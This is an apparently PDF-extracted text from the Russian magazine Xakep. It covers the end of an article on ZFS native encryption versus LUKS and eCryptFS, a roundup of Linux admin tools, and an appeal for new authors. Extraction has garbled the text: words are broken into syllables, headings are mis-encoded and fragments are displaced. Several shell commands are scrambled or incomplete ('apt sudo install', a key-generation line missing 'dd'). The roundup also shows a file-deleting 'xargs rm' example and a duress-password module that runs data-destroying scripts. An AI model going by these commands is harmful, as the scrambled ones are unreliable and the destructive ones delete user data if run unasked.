С зашиф рован ным дис ком невоз можно про водить какие-либо опе рации,
если не заг ружен ключ шиф рования.

•

Без клю чей шиф рования невоз можны резер вные копии, снап шоты, реп- 
ликация.

•

Не обош лось и без некото рых ком про мис сов. Во-пер вых, без клю ча шиф- 
рования мож но уви деть име на и раз меры фай ловых сис тем, а так же дан ные,
дос тупные с помощью команд zfs и zpool. Зло умыш ленни ку эти дан ные вряд
ли при несут поль зу, в отли чие от информа ции о струк туре фай ловой сис темы,
чис ле и раз мерах зашиф рован ных фай лов, которая уте кает при исполь- 
зовании eCryptFS.

Раз работ чики упо мина ют еще один тип дан ных, который не защища ется
на зашиф рован ных ZFS томах. Это таб лицы дедуп ликации, которые соз дают- 
ся, если поль зователь вклю чает дедуп ликацию дан ных. Каж дый блок дан ных,
дуб лиру ющий ся или нет, по-преж нему зашиф рован, но ана лиз таб лиц дедуп- 
ликации может показать, какие имен но бло ки на дис ке дуб лиру ются. Цен- 
ность этой информа ции для зло умыш ленни ка сом нитель на, так что этот
момент нель зя счи тать серь езной уяз вимостью. В то же вре мя при вклю чении
дедуп ликации меня ется алго ритм генера ции IV и соли (пос коль ку иден тичные
бло ки дан ных дол жны сов падать и пос ле того, как они будут зашиф рованы),
так что при хра нении кри тичес ких дан ных дедуп ликацию рекомен дует ся
отклю чить.

Слайд из пре зен тации ZFS Encryption 2

Еще одна потен циаль ная уяз вимость — CRIME (Compression Ratio Info-leak
Made Easy) может быть реали зова на в сце нарии, ког да дан ные сжи мают ся
перед тем, как быть зашиф рован ными.

ÊÀÊ ÐÀÁÎÒÀÅÒ ØÈÔÐÎÂÀÍÈÅ Â ZFS

В качес тве алго рит ма шиф рования исполь зует ся шифр AES-256 в режиме
GCM; опци ональ но мож но выб рать AES с дли ной клю ча в 128,
192 или 256 бит в режимах CCM или GCM. Информа ция о том, какой имен но
выб ран шифр, сох раня ется в метадан ных шиф рования. Ключ шиф рования
защища ется клю чом, генери рующим ся про изволь ным чис лом ите раций фун- 
кции PBKDF2. По умол чанию исполь зует ся 350 000 ите раций, минималь ное
зна чение — 100 000. Для соз дания зашиф рован ного пула исполь зует ся сле- 
дующая коман да:

# zfs create -o encryption=[algorithm] -o keylocation=[location] -o 
keyformat=[format] poolname/datasetname

Ес ли ты соз даешь зашиф рован ный заг рузоч ный раз дел и хочешь, что бы он
мон тировал ся авто мати чес ки при заг рузке, то единс твен ный дос тупный вари- 
ант шиф рования — с исполь зовани ем дво ично го клю ча (фай ла, путь к которо- 
му ука зыва ется в фор мате le:///path/to/keyle). Раз мер клю ча шиф- 
рования — стро го 32 бай та; генери руют слу чай ный ключ коман дой

# if=/dev/urandom bs=32 count=1 of=/path/to/keyfile

Для про чих томов мож но исполь зовать как дво ичный ключ, так и пароль. Дли- 
на пароля может быть от 8 до 512 сим волов.

# zfs create -o encryption=aes-256-gcm -o keyformat=passphrase 
poolname/ datasetname

Важ но отме тить, что ZFS (так же, впро чем, как и осталь ные сов ремен ные сис- 
темы, вклю чая BitLocker) не будет шиф ровать дан ные нап рямую клю чом,
который генери рует ся на осно ве пароля или дво ично го клю ча. Для собс твен- 
но шиф рования исполь зует ся мас тер-ключ, который, в свою оче редь,
защища ется клю чом шиф рования (дво ичным или клю чом, получа ющим ся
в резуль тате пре обра зова ния пароля N ите раци ями фун кции PBKDF2).

Слайд из пре зен тации ZFS Encryption 2

Та ким обра зом, мож но перечис лить сле дующие свой ства шиф рования ZFS:
Ско рость работы срав нима со ско ростью сис тем шиф рования дис ка и не
зависит от раз мера фай лов.

•

За щиту мож но уси лить, ука зав повышен ное чис ло ите раций хеширо вания
в фун кции пре обра зова ния пароля.

•

Ко личес тво и кри тич ность «уте кающих» из зашиф рован ного пула дан ных
отно ситель но невели ки, если не исполь зовать фун кцию дедуп ликации.

•

Де дуп ликация дан ных под держи вает ся, но негатив но вли яет на безопас- 
ность.

•

Под держи вают ся фун кции «холод ного» резер вно го копиро вания пос редс- 
твом снап шотов и их реп ликации. Ключ шиф рования при этом не тре бует- 
ся.

•

Мож но защищать как целые дис ки, так и отдель ные наборы дан ных.•

WWW

Бо лее под робно о коман дах, исполь зующих ся
для соз дания и мон тирова ния зашиф рован ных
томов и управле ния ими, читай в стать ях:
•How-To: Using ZFS Encryption at Rest

in OpenZFS
•A quick-start guide to OpenZFS native encryption

Так же рекомен дую виде опре зен тацию и слай ды:
•Tom Caputi’s ZFS encryption talk
•ZFS Encryption 2

ÏÎÄÂÎÄß ÈÒÎÃÈ

Все го пару лет назад выбор средств шиф рования для Linux был огра ничен
дву мя типами: шиф рование все го дис ка или раз дела (как вари ант — кон тей- 
нера) либо шиф рование фай лов и папок с исполь зовани ем eCryptFS или ана- 
логов, работа ющих через FUSE (к при меру, EncFS или gocryptfs). У обо их
типов шиф рования есть свои дос тоинс тва и недос татки.

Шиф рование дис ка или раз дела защища ет весь мас сив дан ных; единс- 
твен ная утеч ка, которая воз можна в отдель ных слу чаях, — воз можность
узнать количес тво занято го и сво бод ного мес та на зашиф рован ном раз деле.
В то же вре мя любые опе рации с зашиф рован ным дис ком или раз делом тре- 
буют обя затель ного мон тирова ния все го объ ема дан ных; про верить целос- 
тность фай лов или сде лать резер вную копию без вво да клю ча шиф рования
не удас тся.

Крип тогра фичес кие фай ловые сис темы наподо бие eCryptFS шиф руют
содер жимое каж дого фай ла в отдель нос ти, что поз воля ет про водить ряд опе- 
раций над фай ловой сис темой без мон тирова ния зашиф рован ных папок.
Дос тупны коман ды кон тро ля целос тнос ти фай ловой сис темы, деф рагмен- 
тации, соз дания и син хро низа ции снап шотов. Фай лы и пап ки мож но перено- 
сить меж ду сис темами, мож но соз давать и вос ста нав ливать резер вные копии
с исполь зовани ем в том чис ле уда лен ных компь юте ров, в безопас ности
которых нет уве рен ности. Все это дос тупно без вво да клю чей шиф рования
или рас шифров ки дан ных.

В то же вре мя рас простра нен ные крип тогра фичес кие фай ловые сис темы
в Linux налага ют ряд фун кци ональ ных огра ниче ний, основные из которых —
жес ткие огра ниче ния на дли ну имен фай лов и папок и отно ситель но невысо- 
кая ско рость работы, осо бен но при шиф ровании неболь ших фай лов.
Для зашиф рован ных папок, как пра вило, не работа ют фун кции дедуп ликации,
дос тупные в таких фай ловых сис темах, как BTRFS. Силь но стра дает
и безопас ность решения: ском про мети рован ный ключ шиф рования невоз- 
можно сме нить, а взлом пароля от единс твен ного зашиф рован ного фай ла
поз волит рас шифро вать и все осталь ное содер жимое зашиф рован ной пап ки.
Без клю ча шиф рования дос тупен зна читель ный объ ем метадан ных: информа- 
ция о струк туре папок, количес тве и раз мере фай лов, дата пос ледней
модифи кации.

Пред став ленная в OpenZFS в 2019 году сис тема шиф рования native ZFS
encryption, работа ющая в Linux и FreeBSD, успешно реша ет проб лемы обо их
типов защиты, пред лагая удач ный ком про мисс меж ду безопас ностью, ско-
ростью работы и фун кци ональ ностью. Без клю чей шиф рования дос тупны
фун кции про вер ки целос тнос ти фай ловой сис темы, снап шотов и их син хро- 
низа ции, а так же дедуп ликации дан ных (если ее вклю чить, то таб лицы дедуп- 
ликации будут хра нить ся в откры том виде, что явля ется уступкой с точ ки зре- 
ния безопас ности). В то же вре мя на сто рону не уте кают дан ные о раз мерах
фай лов и папок, вре мя модифи кации фай лов; нет при сущих крип тогра фичес- 
ким фай ловым сис темам огра ниче ний на дли ну имен фай лов. Про изво- 
дитель ность шиф рования высокая, срав нима со ско ростью тра дици онных
сис тем шиф рования дис ков.

Ка кой спо соб шиф рования выб рать? Если ты исполь зуешь ZFS
или можешь исполь зовать ZFS — выбор однозна чен: встро енное шиф- 
рование ZFS обес печит высокую ско рость работы, дос таточ ный уро вень
безопас ности и удобс тва. Если ты единс твен ный поль зователь, а ZFS
по какой-то при чине исполь зовать нель зя — LUKS по-преж нему оста ется
быс трым и безопас ным вари антом. В мно гополь зователь ских сис темах
без ZFS име ет смысл вклю чить шиф рование средс тва ми фай ловой сис темы:
в этом слу чае у адми нис тра тора будет воз можность соз давать и вос ста нав- 
ливать резер вные копии без мон тирова ния каж дой зашиф рован ной пап ки
каж дого поль зовате ля сис темы.

На конец, иног да у тебя прос то не будет аль тер нативы: некото рые про- 
изво дите ли сетевых хра нилищ поз воля ют исполь зовать единс твен ный метод.
Synology — шиф рование сетевых папок (eCryptFS). Asustor — шиф рование
сетевых папок (eCryptFS) на внут ренних томах либо шиф рование раз дела
(LUKS) на томах MyArchive. QNAP (на моделях с про цес сорами Intel и опе- 
раци онной сис темой QTS) поз воля ет соз дать мно гос лой ную защиту: SED,
LUKS и eCryptFS могут исполь зовать ся в любых ком бинаци ях.

mailto:aoleg@voicecallcentral.com
https://xakep.ru/2018/08/30/luks2/
https://xakep.ru/2021/08/06/luks-good/
https://xakep.ru/2021/07/26/truenas-or-truenas/
https://blog.heckel.io/2017/01/08/zfs-encryption-openzfs-zfs-on-linux/
https://arstechnica.com/gadgets/2021/06/a-quick-start-guide-to-openzfs-native-encryption/
https://www.youtube.com/watch?v=frnLiXclAMo
https://docs.google.com/presentation/d/1cL4zvPxqyi2UjmTMFa-QnuIraqWeDmi5agXzhcFAFq0/edit#slide=id.g1718e7210a_0_28
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ТРЮКИ

Всег да при ятно най ти новый инс тру мент, который, может,
хоть чуточ ку, но облегчит жизнь. Неваж но, кто ты — админ,
хакер или кодер, — в сегод няшней под борке ты обя затель но
най дешь что-нибудь полез ное. Нас ждут: еще один кра сивый
даш борд, пароли с сюр при зом на слу чай вынуж денной раз- 
бло киров ки, кли ент SSH с устой чивым кон нектом и мно го
дру гих полез ных штук.

Не так дав но мы уже пуб ликова ли мою  тулз для авто мати- 
зации работы. Вдох новив шись позитив ными отзы вами, я сно ва перерыл все
загаш ники и извлек еще пару десят ков год ных инс тру мен тов, которые дела ют
жизнь при ятнее в мелочах. Некото рые из них не раз выруча ли меня, ког да
нуж но было сде лать что-то быс тро и не изоб ретая велоси пед.

боль шую под борку

ÑÅÒÜ

Netfilter

Каж дый админ в жиз ни дол жен пос тро ить сеть, обру гать бух галте ра 
 фай рвол. С пер вой задачей ты спра вишь ся сам, вто рая — пол- 

ностью опци ональ на, а мы погово рим о фай рво ле.
и настроить

Фи липп Юмо (Philippe Humeau) из CrowdSec написал пару 
 для авто мати чес кого под нятия защиты и нас трой ки мар шру тиза ции

на сис темах с под дер жкой iptables/nftables. В ком плек те идут нас трой ки
для , который реали зует port knocking кра сиво.

от личных скрип- 
тов

knockd
Есть под дер жка нес коль ких аплинков и VPN. А еще автор спе циаль но ста- 

рает ся дер жать скрип ты для iptables и nftables мак сималь но похожи ми, что бы
облегчить миг рацию тем, кто еще это го не сде лал.

Фраг мент скрип та

adbwebkit

 — это хорошая веб-мор да для вза имо дей ствия с устрой ством
на Android по ADB. Пред став ляет собой пач ку скрип тов на PHP, которые пар- 
сят вывод штат ного кли ента ADB в сис теме и выводят резуль тат
в веб-интерфейс. Мне при годи лось для работы с телефо ном, у которо го
очень пло хо работал сен сор, а дос туп к сис теме был нужен.

Adbwebkit

Ус танов ка дела ется в четыре коман ды, вклю чая уста нов ку зависи мос тей:

apt  sudo install -y git php 
git clone https://github.com/jxroot/adbwebkit.git 
cd adbwebkit 
php -S 127.0.0.1:8000 

Пос ле это го веб-интерфейс ста нет дос тупен по адре су .localhost:8000

Де мо из репози тория про екта

ÄÀØÁÎÐÄÛ

Cockpit

Cockpit — это не сов сем даш борд. Это боль шая веб-кон соль для управле ния
сер вером.

Ус танов ка мак сималь но прос та:

sudo apt update 
apt sudo install cockpit 

sudo systemctl enable cockpit 
sudo systemctl start cockpit 

За тем нуж но открыть порт 9090 на фай рво ле:

sudo ufw allow 9090/tcp 

Даль ше мож но нас тро ить дос туп через реверс-прок си nginx по име ни хос та
с нор маль ными SSL-сер тифика тами и на при выч ных пор тах.

Пос ле всех манипу ляций заходим на  и видим окно

логина. В него вби ваем имя поль зовате ля и пароль дей стви тель ной учет ной
записи на сер вере и видим даш борд.

<твой-хост>:9090

За упав ший сер вис не пинай — так задума но

Cockpit уме ет рисовать гра фики боль шинс тва инте рес ных мет рик — 
 заг рузки дис ка.в частности,

Disk I/O graph

На вклад ке Host дос тупны дей ствия с сер вером: уста нов ка обновле ний,
рулеж ка сер висами, управле ние питани ем и так далее.

На чина юще му адми ну это может здо рово облегчить жизнь.

btop++

Пом нишь bashtop из прош лой серии?  — это его реали зация на C++
с повышен ной про изво дитель ностью. Умень шен ный интервал обновле ния
гра фиков не при водит к зна читель ному повыше нию наг рузки на про цес сор.
При этом даш борд выг лядит столь же кра соч но и эффек тно для неис кушен- 
ного посети теля тво ей сер верной!

Btop++

Bottom

 внеш не похож на bashtop, но написан на Rust, что тоже озна чает
высокую про изво дитель ность и низ кую наг рузку на про цес сор.
Bottom

Bottom под держи вает Linux (на архи тек турах x86, x64 и aarch64), Windows
(x86 и x64) и даже macOS!

Ус танав лива ется на Debian-based-дис три бути вы все го в две коман ды:

curl -LO https://github.com/ClementTsang/bottom/releases/download/0.
6.4/bottom_0.6.4_amd64.deb 

dpkg sudo -i bottom_0.6.4_amd64.deb 

На Arch все еще про ще:

sudo pacman -Syu bottom 

Для Windows есть уста нов щик , который мож но прос то ска чать и запус- 
тить.

MSI

Для запус ка ути литы нуж но писать не , как ты мог подумать, а .

Пос ле стар та уви дишь что-то похожее на скрин шот.

bottom btm

Ис поль зует ся тема Gruvbox (--color gruvbox)

Viddy

 — это сов ремен ный  на Go с блек-дже ком и машиной вре мени

в ком плек те.

Viddy watch

Ин терес но, что он поз воля ет не прос то наб людать за про исхо дящим, но и
перема тывать дей ствия во вре мени.

Ус танов ка в Linux-сис темах сво дит ся к одной коман де:

wget 
 

 

-O viddy.tar.gz https://github.com/sachaos/viddy/releases/
download/v0.3.1/viddy_0.3.1_Linux_x86_64.tar.gz && tar xvf viddy.tar.
gz && mv viddy /usr/local/bin 

Из команд для управле ния Viddy во вре мя работы дос таточ но знать две: про- 
бел вклю чает машину вре мени, а  при оста нав лива ет выпол нение вызыва- 

емой коман ды.

s

Продолжение статьи →

https://xakep.ru/2021/06/08/console-utilities/
https://github.com/philippecrowdsec/iptables-nftables-multiroute-firewall
https://github.com/jxroot/adbwebkit
http://localhost:8000/
https://github.com/aristocratos/btop
https://github.com/ClementTsang/bottom
https://github.com/ClementTsang/bottom/releases/download/0.6.4/bottom_x86_64_installer.msi
https://github.com/sachaos/viddy
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AUTOMATION & SCRIPTING

htmlq

Ко неч но, ты зна ешь про  — ути литу для работы с JSON из тер минала. А как
нас чет HTML? Ког да пишешь скрип ты для пар синга вся ких сай тов, очень
полез но иметь воз можность вза имо дей ство вать с HTML нор маль ным спо- 
собом, а не регуляр ками.  — это как раз такой инс тру мент.

jq

htmlq
На писан htmlq на Rust и ста вит ся через Cargo:

cargo install htmlq 

htmlq работа ет через селек торы CSS или атри буты. Давай для при мера
вытащим все ссыл ки с глав ной «Хакера».

 

 

hackcat@srv8 ➜ curl --silent https://xakep.ru/ | htmlq --attribute 
href a 

https://xakep.ru/wp-login.php?redirect_to=https%3A%2F%2Fxakep.ru%2F 
https://xakep.ru/ 
https://xakep.ru/category/hack/ 
https://xakep.ru/category/privacy/ 
https://xakep.ru/category/tricks/ 
https://xakep.ru/category/coding/ 
https://xakep.ru/category/admin/ 
https://xakep.ru/category/geek/ 
https://my.xakep.ru/courses/ 
https://xakep.shop/ 
/wp-admin/users.php?page=paywall_subscribes&from=paywall_subscribe&
subscribe=12_months 
https://xakep.ru/tag/windows/ 
https://xakep.ru/tag/linux/ 
https://xakep.ru/tag/android/ 
https://xakep.ru/tag/zhelezo/ 
https://xakep.ru/tag/messengers/ 
https://xakep.ru/tag/leaks/ 
https://xakep.ru/tag/covid-19/ 
https://xakep.ru/issues/xa/ 
... 

sysz

 — это псев догра фичес кий интерфейс для работы с юни тами systemd. Он
поз воля ет удоб но прос матри вать и управлять сер висами. Вот, нап ример,
как пос мотреть сос тояние демона Cockpit, который мы рас смот рели выше.

Sysz

xargs

Ес ли ты вдруг не слы шал о xargs, то ты мно гое про пус тил. Это ути лита,
которая вызыва ет задан ную коман ду с аргу мен тами, передан ными в потоке
стан дар тно го вво да.

Вот прос той при мер: уда лим все фай лы лицен зии всех прог рамм, уста нов- 
ленных в домаш нюю пап ку. Зачем? Не знаю, но с xargs это дела ется вот таким
инту итив ным кон вей ером:

   find ~/ -name LICENSE | xargs -d $'\n' -- rm

При ятная и мало извес тная фиш ка: xargs уме ет сам рас парал леливать задачи.
Хочешь запус тить кучу задач парал лель но?  сде лает
это в 16 потоков. Надо боль ше? Прос то уве личь чис ло. Никаким  такого

резуль тата не получишь.

xargs -P 16
for

Ко неч но, мож но исполь зовать , но это не так удоб но, как запуск

все го одной коман ды. Ска жем, в при мере выше мож но исполь зовать
параметр  у , но это мог ло бы запус тить сот ни про цес сов уда ления

вмес то все го одно го. Опти миза ция налицо!

$(...)

-exec find

miller

 — это ути лита, которая уме ет обра баты вать струк туриро ван ные дан ные
в фор матах CSV, TSV и JSON. Ука зыва ем исходный фор мат, ука зыва ем нуж- 
ный нам фор мат — и получа ем резуль тат в жела емом виде.

Miller

Ес ли у тебя Ubuntu, miller уста нав лива ется одной коман дой.

apt sudo install miller 

Инс трук ции по уста нов ке для дру гих ОС и дис три бути вов ты най дешь
в репози тории про екта.

Для при мера я взял файл CSV с какими-то слу чай ными дан ными и поп- 
росил miller вывес ти его кра сиво с сор тиров кой по полю Location.

Ес ли ты работа ешь с таб лицами из тер минала, то это полез ней шая шту ка!

ÂÑßÊÎÅ

Windows Registry Recovery

Как ты зна ешь, кус ки реес тра Windows хра нят ся в пап ках поль зовате лей.
Не менее извес тно, что эти фай лы могут содер жать что-то цен ное, что быва ет
нуж но отту да извлечь. Для это го обыч но копиру ют файл NTUSER.DAT и мон- 
тиру ют его на реестр, но лич но мне попада лись экзем пля ры, которые штат- 
ными средс тва ми упор но не читались, а про читать было позарез нуж но.

Вы ход нашел ся: прог рамма  пра виль но разоб- 
рала такие нечита бель ные фай лы и помог ла выпол нить задание. Для лич ного
исполь зования (а нам ведь боль ше и не надо, прав да?) прог рамма бес плат- 
на.

Windows Registry Recovery

PAM duress

Пред ставь, что у тебя на пороге вдруг появи лись какие-нибудь неж данные
гос ти, которых может заин тересо вать информа ция в тво ем компь юте ре.
Но ты уже под готов лен! Даже если тебя зас тавят залоги нить ся в сис тему
или выдать пароль, ты смо жешь наз вать спе циаль ный пароль, что акти виру ет
скрипт, унич тожа ющий все инте рес ное.

Сде лать это поможет средс тво . Реали зова но оно как PAM-
биб лиоте ка (Pluggable Authentication Module), которая под клю чает ся к про- 
цес су обра бот ки зап роса на авто риза цию и обра баты вает вве ден ный пароль
по сво ей логике, если обыч ный вход не удал ся.

pam-duress

Ус танов ка чуть слож нее обыч ного, но оно того сто ит.

apt sudo install build-essential libpam0g-dev libssl-dev 
git clone https://github.com/nuvious/pam-duress.git 
make 

make sudo install
make clean 

 mkdir -p ~/.duress 
 sudo mkdir -p /etc/duress.d 

Пос ле уста нов ки модуля его нуж но вклю чить, что бы сис тема исполь зовала
его для аутен тифика ции поль зовате лей. Для это го нуж но отре дак тировать 

 и заменить эти две стро ки на сле дующие:
/

etc/pam.d/common-auth

1 auth    [success= default=ignore]      pam_unix.so 
auth    requisite                       pam_deny.so 

2 auth    [success= default=ignore]      pam_unix.so 
1 auth    [success= default=ignore]      pam_duress.so 

auth    requisite                       pam_deny.so 

Те перь мож но нас тра ивать и тес тировать.
Скрип ты в  дол жны иметь раз решения 500, 540 или 550, в про- 

тив ном слу чае они не будут выпол нены.

~/.duress

Под ложный пароль зада ется при выпол нении  и дол жен 

сов падать с обыч ным.

duress_sign íå

На скри не выше ты видишь тес тирова ние. В пер вом слу чае я ввел нас тоящий
пароль и ничего не про изош ло. Во вто ром ввел под ложный — и выпол нился
скрипт, вывод которо го попал в кон соль.

Важ ное уточ нение: при сбор ке по этой инс трук ции ты не получишь никако- 
го вывода в кон соли. Это не ошиб ка: скрипт все рав но выпол няет ся, но его
вывод перенап равлен в . Если ни один скрипт не может быть

выпол нен при вво де липово го пароля —  выведет 

. Для прос мотра вывода нуж на отла доч ная сбор ка. Как ее
соб рать — читай в репози тории авто ра.

/dev/null
pam_test Not 

Authenticated

Eternal Terminal

За дача  — сде лать так, что бы соеди нение с уда лен ным сер-
вером по SSH не при чиня ло боль при нес табиль ном кон некте или сме не IP-
адре сов кли ента (нап ример, в дороге). Воз можно, ты ска жешь, что
это похоже на Mosh. Автор это го и не скры вает, прос то его ути лита работа ет
гораз до луч ше.

Eternal Terminal

Eternal Terminal не переза пус кает сес сию при падении (для это го есть
), а обес печива ет бес шовное перек лючение меж ду аплинка ми

без пре рыва ний сес сии. Пос коль ку я час то работаю не из дома, дер жать все
SSH-кон некты живыми без пов режде ний ста новит ся неп росто, и Eternal
Terminal сос лужил мне отличную служ бу.

autossh

Ус танов ка ET в Ubuntu прос та:

 sudo apt-get install -y software-properties-common 
sudo add-apt-repository ppa:jgmath2000/et 
sudo apt-get update 

et sudo apt-get install 

Те перь про верь, жив ли демон на сер вере:

systemctl status et 

Ес ли написа но  — зна чит, все сде лано пра виль но. Оста ется толь ко

открыть порт 2022 и убе дить ся, что ты можешь под клю чит ся без пароля. Все
нас трой ки будут авто мати чес ки под тянуты из фай ла , если он

есть, так что ты даже не потеря ешь фиш ки, спе цифич ные для SSH. А даль ше
с кли ент ской машины прос то вбей  и забудь
про обры вы соеди нения!

running

ssh_config

et user@hostname[:port]

screen
Мы уже недав но  screen в статье про инс тру мен тарий девоп са, но я
хотел бы сно ва напом нить об этом чудо-инс тру мен те, который выручал меня
до того, как я нашел Eternal Terminal. Если крат ко, screen соз дает вир туаль ную
кон соль, которая не уми рает вмес те с SSH-соеди нени ем и поз воля ет
перепод клю чить ся ( ) к ней пос ле рекон некта.

упо мина ли

screen -r

Ventoy

Один из инс тру мен тов, который сэконо мил мне огромное количес тво вре- 
мени, — это . Он приз ван обес печить удоб ное соз дание муль тизаг- 
рузоч ных носите лей без садома зохиз ма и нет радици онных отно шений
с доис торичес кими заг рузчи ками. Все что нуж но — это уста новить Ventoy
с помощью удоб ного инстал лятора из любой ОС и закинуть ISO-фай лы тре- 
буемых опе раци онок на соз данный раз дел.

Ventoy

Ин стал лятор ты най дешь на  на сай те прог раммы.
В Windows (отку да я и соз давал свой про качан ный диск) нуж но рас паковать
архив и запус тить , а там выб рать нуж ный носитель из спис- 

ка и нажать Install.

стра нице заг рузки

Ventoy2Disk.exe

До пол нитель ные нас трой ки вро де сти ля раз делов и под дер жки Secure Boot
находят ся в меню Option.

Ког да с уста нов кой и копиро вани ем ISO будет покон чено, мож но перезаг- 
ружать ся. Если все зарабо тало, то ты уви дишь меню как на скри не ниже.

Скрин шот взят с сай та

Для заг рузки прос то выбери ISO из спис ка и наж ми Enter. Всё! И Windows,
и популяр ные дис три бути вы Linux без проб лем заг ружа ются через Ventoy.
Никакой воз ни с перепа ков кой обра зов и нас трой кой grub4dos.

При изме нении спис ка обра зов на носите ле никаких допол нитель ных дей- 
ствий не нуж но — ни замены кон фигов, ни пере уста нов ки. Все под тянет ся
само и будет работать.

WWW

Прог рамма име ет откры тый исходный код — он
дос тупен .на GitHub

ÂÛÂÎÄÛ

Не исклю чаю, что о мно гих инс тру мен тах ты уже зна ешь, а еще навер няка
тебе извес тны и дру гие полез ные ути литы, о которых мы не писали. В таком
слу чае дай знать в ком мента риях или пиши в редак цию, и мы пос тара емся
испра вить это упу щение!

https://xakep.ru/2017/09/07/www-jq/
https://github.com/mgdm/htmlq
https://github.com/joehillen/sysz
https://github.com/johnkerl/miller
https://www.mitec.cz/wrr.html
https://github.com/nuvious/pam-duress
https://eternalterminal.dev/
https://linux.die.net/man/1/autossh
https://xakep.ru/2021/06/30/devops-tricks/#toc02.
https://www.ventoy.net/en/index.html
https://www.ventoy.net/en/download.html
https://github.com/ventoy/Ventoy


СТАНЬ АВТОРОМ
«ХАКЕРА»!

«Хакеру» нуж ны новые авто ры, и ты можешь стать одним
из них! Если тебе инте рес но то, о чем мы пишем, и есть
желание иссле довать эти темы вмес те с нами, то не упус ти
воз можность всту пить в ряды наших авто ров и получать
за это все, что им при чита ется.

 Раз мер зависит
от слож ности и уни каль нос ти темы и объ ема про делан ной работы (но
не от объ ема тек ста).

• Àâ òîðû ïîëó÷à þò äåíåæ íîå âîç íàãðàæ äåíèå.

: каж дая опуб ликован ная
статья при носит месяц под писки и зна читель но уве личи вает лич ную скид- 
ку. Уже пос ле треть его раза под писка ста нет бес плат ной нав сегда.

• Íà øè àâòî ðû ÷èòà þò «Õàêåð» áåñ ïëàò íî

Кро ме того, 
. А еще мы пла ниру ем запуск

англо языч ной вер сии, так что 
.

íà ëè÷èå ïóá ëèêàöèé — ýòî îòëè÷íûé ñïî ñîá ïîêàçàòü

ðàáîòî äàòå ëþ è êîë ëåãàì, ÷òî òû â òåìå

ó òåáÿ áóäåò øàíñ áûòü óçíàííûì è çà

ðóáåæîì

И конеч но, 
. На сай те ты можешь сам запол нить харак терис тику, пос тавить фото,

написать что-то о себе, добавить ссыл ку на сайт и про фили в соц сетях. Или,
наобо рот, не делать это го в целях кон спи рации.

ìû âñåã äà óêà çûâà åì â ñòàòü ÿõ èìÿ èëè ïñåâ äîíèì

àâòî ðà

ß ÒÅÕÍÀÐÜ, À ÍÅ ÆÓÐÍÀËÈÑÒ. ÏÎËÓ×ÈÒÑß ËÈ Ó ÌÅÍß ÍÀÏÈÑÀÒÜ

ÑÒÀÒÜÞ?

Глав ное в нашем деле — зна ния по теме, а не короч ки жур налис та. Зна ешь
тему — зна чит, и написать смо жешь. Не уме ешь — поможем, будешь сом- 
невать ся — под держим, накося чишь — отре дак тиру ем. Не зря у нас работа ет
столь ко редак торов! Они не толь ко пра вят бук вы, но и помога ют с темами
и фор матом и «при чесы вают» автор ский текст, если в этом есть необ- 
ходимость. И конеч но, перед пуб ликаци ей мы сог ласу ем с авто ром все прав- 
ки и вно сим новые, если нуж но.

ÊÀÊ ÏÐÈÄÓÌÀÒÜ ÒÅÌÓ?

Те мы для ста тей — дело неп ростое, но и не такое слож ное, как может
показать ся. Сто ит начать, и ты навер няка будешь при думы вать темы одну
за дру гой!

Пер вым делом задай себе нес коль ко прос тых воп росов:

Час тый слу чай: люди дела ют что-то пот ряса ющее, но счи тают свое
занятие впол не обы ден ным. Если твоя мама и девуш ка не хотят слу шать
про реверс мал вари, сбор ку ядра Linux, про екти рова ние мик ропро цес- 
соров или хра нение дан ных в ДНК, это не зна чит, что у тебя не най дет ся
бла годар ных читате лей.

• «Ðàç áèðà þñü ëè ÿ â ÷åì‑òî, ÷òî ìîæåò çàèí òåðåñî âàòü äðó ãèõ?»

 Если
ты ресер чишь, баг хантишь, реша ешь crackme или задач ки на CTF, если ты
раз рабаты ваешь что-то необыч ное или даже прос то нас тро ил себе
какую-то удоб ную шту кови ну, обя затель но рас ска жи нам! Мы вмес те при- 
дума ем, как луч ше подать твои наработ ки.

• «Áûëè ëè ó ìåíÿ â ïîñ ëåäíåå âðå ìÿ èíòå ðåñ íûå ïðî åêòû?»

Поп робуй вспом нить: если ты бук валь но недав но рас ска зывал кому-то
о чем-то очень важ ном или зах ватыва ющем (и свя зан ным с ИБ или ИТ), то
с немалой веро ятностью это может быть неп лохой темой для статьи.
Или как минимум натол кнет тебя на тему.

• «Çíàþ ëè ÿ êàêóþ‑òî èñòî ðèþ, êîòîðàÿ êàæåò ñÿ ìíå êðó òîé?»

 Если
мы о чем-то не писали, это мог ло быть не умыш ленно. Воз можно, прос то
никому не приш ла в голову эта тема или не было челове ка, который
взял бы ее на себя. Кста ти, даже если писать сам ты не собира ешь ся, под- 
кинуть нам идею все рав но мож но.

• «Íå ïîä ìå÷àë ëè ÿ, ÷òî â Õàêåðå óïóñ òèëè ÷òî‑òî âàæ íîå?»

Óãî âîðè ëè, êàêîâ ïëàí äåé ñòâèé?

1. При думы ваешь акту аль ную тему или нес коль ко.
2. Опи сыва ешь эту тему так, что бы было понят но, что будет в статье и зачем

ее кому-то читать. Обыч но дос таточ но рабоче го заголов ка и нес коль ких
пред ложений (pro tip: их потом мож но пус тить на вве дение).

3.  и отправ ляешь ему свои темы (мож но глав реду —
он раз берет ся). Заод но неп лохо быва ет пред ста вить ся и написать пару
слов о себе.

Вы бира ешь редак тора

4. С редак тором сог ласу ете детали и сро ки сда чи чер новика. Так же он выда- 
ет тебе пра вила офор мле ния и отве чает на все инте ресу ющие воп росы.

5. Пи шешь статью в срок и отправ ляешь ее. Если воз ника ют какие-то проб- 
лемы, сом нения или прос то задер жки, ты зна ешь, к кому обра щать ся.

6. Ре дак тор чита ет статью, при нима ет ее или воз вра щает с прось бой
дорабо тать и руководс твом к дей ствию.

7. Пе ред пуб ликаци ей получа ешь вер сию с прав ками и обсужда ешь их
с редак тором (или прос то даешь доб ро).

8. До жида ешь ся выхода статьи и пос тупле ния воз награж дения.

TL;DR
Ес ли хочешь пуб ликовать ся в «Хакере», при думай тему для пер вой статьи
и пред ложи .ре дак ции

https://xakep.ru/contact/
https://xakep.ru/contact/
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